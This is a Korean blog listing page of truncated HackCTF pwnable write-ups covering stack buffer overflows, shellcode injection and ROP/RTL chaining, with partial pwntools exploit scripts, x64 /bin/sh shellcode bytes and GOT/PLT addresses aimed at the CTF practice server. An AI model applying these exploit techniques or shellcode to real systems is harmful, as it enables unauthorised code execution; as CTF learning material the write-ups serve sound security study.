Pwnable

Pwnable/HackCTF

x64 Simple_size_BOF

간단한 BOF 문제이다. 이 바이너리에는 쉘을 실행하는 다른 symbol 함수들이 들어있지 않으므로 shellcode를 사용하면 될 것 같다. 또한 buf의 주소도 출력해주니 이것을 이용하면 될 것 같다. 보호기법을 분석해보니 NX bit 는 걸려있지 않지만 ASLR은 걸려있는 것 같다. 바로 payload를 작성하여 exploit 해보자. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3005) r.recvline() r.recvuntil(": ") buf = int(r.recv(14), 16) payload = "\x90"*100 payload += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\..

Pwnable/HackCTF

x64 Buffer Overflow

x64 바이너리인 점을 제외하면 아주 간단한 BOF 문제이다. 64bit 체제에서는 포인터의 크기 및 레지스터들의 한칸이 8bytes 라는 점을 인지하고 있으면 된다. RET 부분을 callmeMaybe의 주소로 덮어주면 끝이다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3004) e = ELF("./64bof_basic") callMe = e.symbols['callMeMaybe'] payload = "\x90"*280 payload += p64(callMe) r.sendline(payload) r.interactive()

Pwnable/HackCTF

ROP

아주 typical한 ROP 형식의 문제이다. ROP는 RTL Chaining + GOT Overwrite + Gadget 을 알고 있다면 각 함수들의 주소값들과 gadget의 주소를 조합하여 작품을 완성하는 퍼즐과도 같다. 퍼즐의 조각들을 하나하나씩 모아보자. read_plt = 0x08048300 read_got = 0x0804a00c write_plt = 0x08048340 write_got = 0x0804a018 bss → 0x0804a024 read_offset = 0xd4350 system_offset = 0x3a940 pop pop pop ret Gadget → 0x08048509 from pwn import * r = remote("ctf.j0n9hyun.xyz", 3021) #PUZZLE..

Pwnable/HackCTF

RTL_World

main함수의 모습이다. 메뉴를 선택받고 그 메뉴를 실행한다. Menu 함수의 모습이다. 보스의 바이너리 정보 돈 만들기 등등이 있다. 2번 메뉴인 Get_Money 함수이다. 이것으로 돈을 획득할 수 있을 것 같다. 제일 먼저 이 바이너리의 정보를 확인하여보자. NX와 ASLR 기법이 적용되어있다. ASLR 기법이 적용되어 있다면 프로세스마다 스택의 주소값이 랜덤 맵핑되기 때문에 한번의 실행에서 모든 것을 수행해야 주소값이 바뀌는 것을 막을 수 있다. 자 이제 문제를 어떻게 해결할 것인지 알아보자. 우선 RTL chaning을 이용해야 하므로 이에 필요한 함수들의 주소값을 먼저 구해야 할 것이다. 3번과 4번 메뉴를 이용하여 system 함수와 "/bin/sh" 문자열의 주소를 얻을 수 있다. 하지만 ..

Lucvs
'Pwnable' 카테고리의 글 목록 (3 Page)